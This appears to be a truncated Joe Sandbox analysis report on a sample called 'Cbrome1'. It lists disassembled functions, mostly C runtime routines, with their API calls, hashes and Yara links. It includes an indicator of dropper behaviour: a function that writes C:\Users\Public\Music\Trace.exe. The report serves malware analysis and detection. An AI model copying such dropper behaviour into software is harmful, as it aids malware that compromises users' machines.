Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: CloseHandle$ObjectSingleSleepTerminateThreadWait
String ID:
API String ID: 3303361366-0
Opcode ID: f04e112ffcfac24b603780264897768af899bb09a0afb112039c9e615b1336e8
Instruction ID: cf16c359a21cbdedff34a5c0e8c632fe40d13114468e7b2b3c861d8f2f986435
Opcode Fuzzy Hash: f04e112ffcfac24b603780264897768af899bb09a0afb112039c9e615b1336e8
Instruction Fuzzy Hash: 07110932614B80C6EA549B25F8986AA7374F784F40F484139EEEE03755DF3CD6A6C305

Function 0000023A295E3A64 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0000023A295E2CEC: _getptd.LIBCMT ref: 0000023A295E2CFE

_errno.LIBCMT ref: 0000023A295E3A91
_invalid_parameter_noinfo.LIBCMT ref: 0000023A295E3A9C

Part of subcall function 0000023A295E8670: iswctype.LIBCMT ref: 0000023A295E86DD

Strings

Z, xrefs: 0000023A295E3ADA
A, xrefs: 0000023A295E3AD4

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: _errno_getptd_invalid_parameter_noinfoiswctype
String ID: A$Z
API String ID: 3686281101-4098844585
Opcode ID: 28c99b5ff7c153519cc676a4e33103c39524cc50a50e3399b67c0a2bdb34ff0a
Instruction ID: 4b27ccaa4d591fa054c9ae27c4bcefe0da0e50beeb92d7de611d464d143d2b71
Opcode Fuzzy Hash: 28c99b5ff7c153519cc676a4e33103c39524cc50a50e3399b67c0a2bdb34ff0a
Instruction Fuzzy Hash: 6A31B231614A598FE7A0AB18805C777B7F1FB54710F98026EE8D9C71D1C67E8A998343

Function 0000023A295F0EC9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000023A295F0ED1
_getptd.LIBCMT ref: 0000023A295F0F93
_getptd.LIBCMT ref: 0000023A295F0F9F

Strings

csm, xrefs: 0000023A295F0F53

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: _getptd
String ID: csm
API String ID: 3186804695-1018135373
Opcode ID: 3d7b47e0f6bab72505bbf465c5b16e1dcb4b87de87066540f1dd17ecd2e8909f
Instruction ID: ce1681ed1d97a9ede163147a5f1b3eb958417802576b886aeee9586b180a3f4b
Opcode Fuzzy Hash: 3d7b47e0f6bab72505bbf465c5b16e1dcb4b87de87066540f1dd17ecd2e8909f
Instruction Fuzzy Hash: B0317030208B048FEB64EF18D44576A73F1FF69720F44056CD8CA83692D735A95ACB83

Function 0000023A29E3312C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90COMMONLIBRARYCODE

Download Yara Rule

APIs

_fltout2.LIBCMT ref: 0000023A29E33167
_errno.LIBCMT ref: 0000023A29E33171
_invalid_parameter_noinfo.LIBCMT ref: 0000023A29E33178

Strings

-, xrefs: 0000023A29E33193

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _errno_fltout2_invalid_parameter_noinfo
String ID: -
API String ID: 485257318-2547889144
Opcode ID: f15782d6f828dd88211d5f1d9bfd9215f81b2dc49f1de837d3fae0d8b09ecb77
Instruction ID: d1a7f1a70e672b6f2849b30022bcdf2e091ad17fc1f373d3945c80b7232ef7b5
Opcode Fuzzy Hash: f15782d6f828dd88211d5f1d9bfd9215f81b2dc49f1de837d3fae0d8b09ecb77
Instruction Fuzzy Hash: AF31F83230478085EA208A26E808FABB7B4B785FD4F585239EFD807BD9DE2DC655C705

Function 0000023A29E240AC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 0000023A29E23334: _getptd.LIBCMT ref: 0000023A29E23346

_errno.LIBCMT ref: 0000023A29E240D9
_invalid_parameter_noinfo.LIBCMT ref: 0000023A29E240E4

Part of subcall function 0000023A29E28CB8: iswctype.LIBCMT ref: 0000023A29E28D25

Strings

Z, xrefs: 0000023A29E24122
A, xrefs: 0000023A29E2411C

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _errno_getptd_invalid_parameter_noinfoiswctype
String ID: A$Z
API String ID: 3686281101-4098844585
Opcode ID: e463f11662c860f1c4b49eded7e33c7647cd997a7b129c801fd5d77c378dd932
Instruction ID: 3f766e1ccf733244728877ae7b713abb0a4c5904118e74ea8b4910688e18bd28
Opcode Fuzzy Hash: e463f11662c860f1c4b49eded7e33c7647cd997a7b129c801fd5d77c378dd932
Instruction Fuzzy Hash: C6219572E1879181EB605715944867B76B0FB50FA0F58413AEEDD077D9EB2CCAA18702

Function 0000023A29E33728 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000023A29E33741
_invalid_parameter_noinfo.LIBCMT ref: 0000023A29E3374D
_errno.LIBCMT ref: 0000023A29E33774

Strings

1, xrefs: 0000023A29E337C3

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID: 1
API String ID: 2819658684-2212294583
Opcode ID: 4dcdf7c8606f53b697be72d95b9b2b5693e7dc8786f4527748fd3ec7fc62c8fe
Instruction ID: c4f559fe9b0ec3ab2fc19ebb81087ac3ded49e31b98db8f610e3f9cfe0e05faf
Opcode Fuzzy Hash: 4dcdf7c8606f53b697be72d95b9b2b5693e7dc8786f4527748fd3ec7fc62c8fe
Instruction Fuzzy Hash: FA21B3B26193C085F7168A24C458F7F6AB8B785F40FDDE0399E8106293E62E8A608716

Function 0000023A29E23290 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMONLIBRARYCODE

Download Yara Rule

APIs

_callnewh.LIBCMT ref: 0000023A29E2329E
malloc.LIBCMT ref: 0000023A29E232AA

Part of subcall function 0000023A29E25728: _FF_MSGBANNER.LIBCMT ref: 0000023A29E25758
Part of subcall function 0000023A29E25728: RtlAllocateHeap.NTDLL ref: 0000023A29E2577D
Part of subcall function 0000023A29E25728: _callnewh.LIBCMT ref: 0000023A29E25796
Part of subcall function 0000023A29E25728: _errno.LIBCMT ref: 0000023A29E257A1
Part of subcall function 0000023A29E25728: _errno.LIBCMT ref: 0000023A29E257AC

std::exception::exception.LIBCMT ref: 0000023A29E23317

Strings

bad allocation, xrefs: 0000023A29E232E7

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _callnewh_errno$AllocateHeapmallocstd::exception::exception
String ID: bad allocation
API String ID: 608171114-2104205924
Opcode ID: 92ccbdd45ddd4e3c0f64f09dc9e2e3b242226f5de8337ccf23c66fa160172d41
Instruction ID: 2d80d553abf1e69e70b9c97c25c72421dda5b9e3b989ea3eabcbf53463df5f67
Opcode Fuzzy Hash: 92ccbdd45ddd4e3c0f64f09dc9e2e3b242226f5de8337ccf23c66fa160172d41
Instruction Fuzzy Hash: B9015B31A4470A91FB14EB10F958B9773B4B758B80F486439DDCA46AA5EF7CC368CB02

Function 0000023A29E1F2D0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0000023A29E1F303
WriteFile.KERNEL32 ref: 0000023A29E1F339
CloseHandle.KERNEL32 ref: 0000023A29E1F344

Strings

C:\Users\Public\Music\Trace.exe, xrefs: 0000023A29E1F2DC

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: File$CloseCreateHandleWrite
String ID: C:\Users\Public\Music\Trace.exe
API String ID: 1065093856-248444187
Opcode ID: 53b92b6cd56feaf15b65a536e72328d75669480d2c299fcd8d3bec73b883eb25
Instruction ID: 318335656ef880a2c6671dcb8fbed9d039f9ed19b99f9217fe808dcd14963a56
Opcode Fuzzy Hash: 53b92b6cd56feaf15b65a536e72328d75669480d2c299fcd8d3bec73b883eb25
Instruction Fuzzy Hash: C001847270474083D7508F65F948656A370F788BB4F440339EEAA03B95DBBCC6548B05

Function 0000023A29E24F58 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,000000FF,0000023A29E24FA1,?,?,00000028,0000023A29E25771,?,?,3B68000000000000,0000023A29E2532C,?,?,ceil,0000023A29E29B11), ref: 0000023A29E24F67
GetProcAddress.KERNEL32(?,?,000000FF,0000023A29E24FA1,?,?,00000028,0000023A29E25771,?,?,3B68000000000000,0000023A29E2532C,?,?,ceil,0000023A29E29B11), ref: 0000023A29E24F7C

Strings

CorExitProcess, xrefs: 0000023A29E24F72
mscoree.dll, xrefs: 0000023A29E24F60

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 1646373207-1276376045
Opcode ID: 00870a51d3a86f5849b97045870c3183e94da1734dad8510d32b40a3d6ecaddc
Instruction ID: 6e19f8bab4f4659fd66bb831099bdeb7c82d59ee4d9bce661f6caa3c2b0ae012
Opcode Fuzzy Hash: 00870a51d3a86f5849b97045870c3183e94da1734dad8510d32b40a3d6ecaddc
Instruction Fuzzy Hash: D2E0EC3071270451FF195B60E898A7612B87B98F40F8C203C9CAE06391EE6C86698205

Function 0000023A29E26894 Relevance: 6.4, APIs: 5, Instructions: 133COMMON

Download Yara Rule

APIs

Part of subcall function 0000023A29E252FC: malloc.LIBCMT ref: 0000023A29E25327
Part of subcall function 0000023A29E252FC: Sleep.KERNEL32(?,?,ceil,0000023A29E29B11,?,?,?,0000023A29E29BBB,?,?,00000000,0000023A29E24875,?,?,00000000,0000023A29E2492C), ref: 0000023A29E2533A

free.LIBCMT ref: 0000023A29E269C0
free.LIBCMT ref: 0000023A29E269DC

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: free$Sleepmalloc
String ID:
API String ID: 1995388493-0
Opcode ID: 39ce9d77a3e790452788de6fa24d85144c2e1ef8362bd983176990c83889e96e
Instruction ID: fc51f30ceb9771c5f7ffa35c9870534e0c28dc9159e92f41d405317d880190c4
Opcode Fuzzy Hash: 39ce9d77a3e790452788de6fa24d85144c2e1ef8362bd983176990c83889e96e
Instruction Fuzzy Hash: 09516672604B4492EB149F16E988B9A33B4F744F94F48463A9F9943B91DF3CDA718701

Function 0000023A29E29DC0 Relevance: 6.2, APIs: 4, Instructions: 159COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000023A29E29E0E
_invalid_parameter_noinfo.LIBCMT ref: 0000023A29E29E19
RtlDecodePointer.NTDLL ref: 0000023A29E29EC8
_lock.LIBCMT ref: 0000023A29E29EF3

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: DecodePointer_errno_invalid_parameter_noinfo_lock
String ID:
API String ID: 27599310-0
Opcode ID: f2f1d13161b385cc8ebcb920853fb25681289a066f8d3884ebbe5b2d4e1b5b2a
Instruction ID: 0b50bab55abdded3030b2c106b5397300fefeeacdbf4564daf01885049ba4739
Opcode Fuzzy Hash: f2f1d13161b385cc8ebcb920853fb25681289a066f8d3884ebbe5b2d4e1b5b2a
Instruction Fuzzy Hash: 5F51B032A0474486FA689B14E64CB7B72B1F7A4F40F24653DDDDB0A694DB3CCA61C603

Function 0000023A295F0AFC Relevance: 6.2, APIs: 4, Instructions: 154COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000023A295F0100: _getptd.LIBCMT ref: 0000023A295F0104

_getptd.LIBCMT ref: 0000023A295F0B3B
_SetImageBase.LIBCMT ref: 0000023A295F0C0E
_getptd.LIBCMT ref: 0000023A295F0C3C
_getptd.LIBCMT ref: 0000023A295F0C4A

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: _getptd$BaseImage
String ID:
API String ID: 2482573191-0
Opcode ID: af5f9acc29257a75163b341382d3d9079731c94abf06afe1f914a7fc080a4b22
Instruction ID: fdf93a5114a238b721c7a76a0122158b041a1442d86f432658b0ff9ed18bde35
Opcode Fuzzy Hash: af5f9acc29257a75163b341382d3d9079731c94abf06afe1f914a7fc080a4b22
Instruction Fuzzy Hash: 2A41A431314A044DE3146B38884E6EA73F1FF56B34F6845BED8C5831E7D678DA6A8243

Function 0000023A29E32EBC Relevance: 6.1, APIs: 4, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000023A29E23334: _getptd.LIBCMT ref: 0000023A29E23346

_errno.LIBCMT ref: 0000023A29E32EFA
_invalid_parameter_noinfo.LIBCMT ref: 0000023A29E32F04
_errno.LIBCMT ref: 0000023A29E32F28
_invalid_parameter_noinfo.LIBCMT ref: 0000023A29E32F32

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _errno_invalid_parameter_noinfo$_getptd
String ID:
API String ID: 1297830140-0
Opcode ID: 39ffee8ed169c10c927c11aeeb2b352ecded053acf8c5715cdcb3c1c0df44ad3
Instruction ID: ae1ec348ae03725dd19705eb66a8b2de8d6e0fb4ffbf712901c743bc654febac
Opcode Fuzzy Hash: 39ffee8ed169c10c927c11aeeb2b352ecded053acf8c5715cdcb3c1c0df44ad3
Instruction Fuzzy Hash: F241DD326147C086E7209B14C189B6E7BB4F784FD0F488139EEC943B96CB2CC665CB06

Function 0000023A295EE7B4 Relevance: 6.1, APIs: 4, Instructions: 115COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000023A295EE7D3
_invalid_parameter_noinfo.LIBCMT ref: 0000023A295EE7DF
_errno.LIBCMT ref: 0000023A295EE809
_errno.LIBCMT ref: 0000023A295EE86B

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: ee74e047b5e6401e973330e134ad64bd7e3ff96d8a482232bd7c46c214a6dde7
Instruction ID: baad47ea24526c9d47f29228abed1a2fa59b3a03b281c25ccbe7b6e48768c0b7
Opcode Fuzzy Hash: ee74e047b5e6401e973330e134ad64bd7e3ff96d8a482232bd7c46c214a6dde7
Instruction Fuzzy Hash: EA313A2072CA894EE70D562C544C33B77E1FB66701F1441BED8C6C72D3D97B891D4256

Function 0000023A29E21B40 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

IsBadCodePtr.KERNEL32 ref: 0000023A29E21B75
realloc.LIBCMT ref: 0000023A29E21BD4

Part of subcall function 0000023A29E23D68: malloc.LIBCMT ref: 0000023A29E23D85

IsBadCodePtr.KERNEL32 ref: 0000023A29E21C59
SetLastError.KERNEL32 ref: 0000023A29E21C7D

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: Code$ErrorLastmallocrealloc
String ID:
API String ID: 797104909-0
Opcode ID: a80c1a447f23a93d993543f1d2932430f74ef1f993dbf219c17908ed45751a1a
Instruction ID: 9db17df43201097200be0bade07b319092d68e892e4d80c4a6408e415c3e63af
Opcode Fuzzy Hash: a80c1a447f23a93d993543f1d2932430f74ef1f993dbf219c17908ed45751a1a
Instruction Fuzzy Hash: 95415E36B05B8487EB649B16E48476BA3B4F788F94F184029DF8A47B54DF3CD6A1C701

Function 0000023A29E31144 Relevance: 6.1, APIs: 4, Instructions: 104COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0000023A29E30748: _getptd.LIBCMT ref: 0000023A29E3074C

_getptd.LIBCMT ref: 0000023A29E31183

Part of subcall function 0000023A29E24958: _amsg_exit.LIBCMT ref: 0000023A29E2496E

_SetImageBase.LIBCMT ref: 0000023A29E31256
_getptd.LIBCMT ref: 0000023A29E31284
_getptd.LIBCMT ref: 0000023A29E31292

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _getptd$BaseImage_amsg_exit
String ID:
API String ID: 2306399499-0
Opcode ID: 703c5aec7916f61180cc558bb920cebf4870003ac86070bf15e71824dc0a9ab6
Instruction ID: 0fab33164633b2e9e07a77d726b1f480339ab625d9370be1e0d78c75ca07d078
Opcode Fuzzy Hash: 703c5aec7916f61180cc558bb920cebf4870003ac86070bf15e71824dc0a9ab6
Instruction Fuzzy Hash: F4414C3260074581EA60A716D489BBF67B8BB85F99F19813DDD9D433E2CB3CC662D306

Function 0000023A295E2A74 Relevance: 6.1, APIs: 4, Instructions: 98COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000023A295E2A9F
_invalid_parameter_noinfo.LIBCMT ref: 0000023A295E2AAA
_getptd.LIBCMT ref: 0000023A295E2AD0
free.LIBCMT ref: 0000023A295E2B3B

Memory Dump Source

Source File: 00000000.00000002.3990303242.0000023A295D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A295D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a295d0000_Cbrome1.jbxd

Similarity

API ID: _errno_getptd_invalid_parameter_noinfofree
String ID:
API String ID: 4053972703-0
Opcode ID: 23713fb59b6591edd0cf875b9b1ad7fa6c685f6b4e7a37dd8d801b22c82a6414
Instruction ID: 6e5230c79068005d059075f8c72c400a573e9ee4534b221d6f633adeab32c74e
Opcode Fuzzy Hash: 23713fb59b6591edd0cf875b9b1ad7fa6c685f6b4e7a37dd8d801b22c82a6414
Instruction Fuzzy Hash: AF219330708B094FE744AF69984A76AB7E5FB98711F00063EE8CDC32A2DA75D9558783

Function 0000023A29E2EDFC Relevance: 6.1, APIs: 4, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 0000023A29E2EE1B
_invalid_parameter_noinfo.LIBCMT ref: 0000023A29E2EE27
_errno.LIBCMT ref: 0000023A29E2EE51
_errno.LIBCMT ref: 0000023A29E2EEB3

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID:
API String ID: 2819658684-0
Opcode ID: 790efa823095b8eeed1eb6360597683e311984ac49e55dee3d5209659601771b
Instruction ID: 6c1c3cd7c43790b8fff0e5a81ac87a89c3f3319d5b29d9b65b747e11c6f7e185
Opcode Fuzzy Hash: 790efa823095b8eeed1eb6360597683e311984ac49e55dee3d5209659601771b
Instruction Fuzzy Hash: 2621FB32E083E085F755AA64D458B5F2BA1B755F80F18803EDEC24B3C3D67D8A598743

Function 00007FF779D38BB0 Relevance: 6.0, APIs: 4, Instructions: 46timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF779D38BCC
GetCurrentThreadId.KERNEL32 ref: 00007FF779D38BDC
GetCurrentProcessId.KERNEL32 ref: 00007FF779D38BF4
QueryPerformanceCounter.KERNEL32 ref: 00007FF779D38C11

Memory Dump Source

Source File: 00000000.00000002.3991192783.00007FF779883000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF779220000, based on PE: true

Associated: 00000000.00000002.3991056153.00007FF779220000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3991192783.00007FF779633000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3991192783.00007FF77965F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3991192783.00007FF77967C000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3991192783.00007FF779E45000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3991192783.00007FF779EA0000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3991795658.00007FF779EA3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3991795658.00007FF779F18000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3991795658.00007FF77A0A4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3991795658.00007FF77A15C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3991999441.00007FF77A15D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3992016266.00007FF77A160000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3992031123.00007FF77A169000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3992031123.00007FF77A16F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3992031123.00007FF77A171000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3992076202.00007FF77A179000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3992076202.00007FF77A1DA000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3992139857.00007FF77A1E7000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3992139857.00007FF77A212000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3992139857.00007FF77AC12000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3992139857.00007FF77B612000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3992139857.00007FF77BF62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff779220000_Cbrome1.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 948715c95083103e83d182c99c4a904977bf8f4618da90c7bb7cdd789b889194
Instruction ID: 392a1653ac567fe63c237d98f0c837ac6c76621bb578c391ad4423d4a328ebb3
Opcode Fuzzy Hash: 948715c95083103e83d182c99c4a904977bf8f4618da90c7bb7cdd789b889194
Instruction Fuzzy Hash: 8A11C122319B8486EA70DB55F85412AB3E4F7CCB98B400335EADE83758DF3CD2548B04

Function 0000023A29E25B2C Relevance: 6.0, APIs: 4, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 0000023A29E25B36

Part of subcall function 0000023A29E24958: _amsg_exit.LIBCMT ref: 0000023A29E2496E

_lock.LIBCMT ref: 0000023A29E25B64
free.LIBCMT ref: 0000023A29E25B9A
_amsg_exit.LIBCMT ref: 0000023A29E25BD3

Memory Dump Source

Source File: 00000000.00000002.3990555514.0000023A29E10000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000023A29E10000, based on PE: true

Associated: 00000000.00000002.3990555514.0000023A29E38000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3990555514.0000023A2A0F1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23a29e10000_Cbrome1.jbxd

Similarity

API ID: _amsg_exit$_getptd_lockfree
String ID:
API String ID: 2148533958-0
Opcode ID: 2d48e3d70f214aa4afb2f177af8117296f37c19805a75fb751cec93a5421d43b
Instruction ID: bdd83ad281516065b23ec42fdbd7b774fb542e7dcc91a12544559a27dff946b7
Opcode Fuzzy Hash: 2d48e3d70f214aa4afb2f177af8117296f37c19805a75fb751cec93a5421d43b
Instruction Fuzzy Hash: 77112E36615B8486EB959B11E598BAA73B0FB44F40F591039DE9E03796DF2CC6708702

Function 0000023A29E247F4 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

FlsFree.KERNEL32(?,?,?,?,0000023A29E24382), ref: 0000023A29E24803
RtlDeleteCriticalSection.NTDLL ref: 0000023A29E29A43
free.LIBCMT ref: 0000023A29E29A4C
RtlDeleteCriticalSection.NTDLL ref: 0000023A29E29A73

Memory Dump Source

